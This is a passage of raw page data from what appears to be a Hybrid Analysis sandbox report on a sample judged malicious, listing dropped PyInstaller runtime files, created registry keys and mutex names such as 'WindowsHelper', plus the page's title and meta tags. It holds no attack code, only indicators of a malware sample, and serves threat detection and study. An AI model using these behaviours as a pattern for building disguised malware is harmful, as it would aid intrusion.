\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\_core\\src\\umath\\svml\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\fft\\pocketfft\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\linalg\\lapack_lite\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\ma\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\distributions\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\mt19937\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\pcg64\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\philox\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\sfc64\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\random\\src\\splitmix64\\LICENSE.md","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy.libs\\libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy.libs\\msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\_core\\_multiarray_tests.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\_core\\_multiarray_umath.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\fft\\_pocketfft_umath.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\linalg\\_umath_linalg.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_bounded_integers.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_common.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_generator.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_mt19937.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_pcg64.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_philox.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\_sfc64.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\bit_generator.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\numpy\\random\\mtrand.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\psutil\\_psutil_windows.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\python314.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\pywin32_system32\\pywintypes314.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\setuptools\\_vendor\\jaraco\\text\\Lorem ipsum.txt","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\ucrtbase.dll","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI00000a8c2\\win32\\win32pdh.pyd","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\crcs1ccc","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1324:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1324:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SM0:1324:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:1324:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\WindowsHelper","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Local\\SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:2724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:2724:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"WindowsHelper","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2724:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SM0:7236:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"__OMADM_NAMED_MUTEX__","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"ChromeProcessSingletonStartup!","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SM0:7236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:7236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7236:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ChromeProcessSingletonStartup!","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\__OMADM_NAMED_MUTEX__","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SM0:3176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:3176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3080:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"Local\\SM0:3080:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:3080:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3080:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:7908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"SM0:1912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\AppContainerNamedObjects\\S-1-15-2-3251537155-1984446955-2931258699-841473695-1938553385-924012159-129201922\\SM0:4516:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\AppContainerNamedObjects\\S-1-15-2-3251537155-1984446955-2931258699-841473695-1938553385-924012159-129201922\\SM0:2608:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Local\\SM0:2700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"SM0:2700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Local\\SM0:1788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"SM0:1788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"SM0:1788:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1788:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5620:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5620:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Local\\SM0:5620:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"SM0:5620:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2712:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"SM0:2712:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}]}},"report_ids":{"sandbox_job_ids":["6aede65299b868ea5a0c766f","6aede49d7bd8e16d02066b6c","6aede6c2ed9afb596f058d23"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Sample d4f891f34971… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d4f891f34971…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample d4f891f34971… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d4f891f34971…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample d4f891f34971… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d4f891f34971…. Threat score 100/100. 0/26 AV engines flagged this file. 6 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L73","11",{}]] 32:null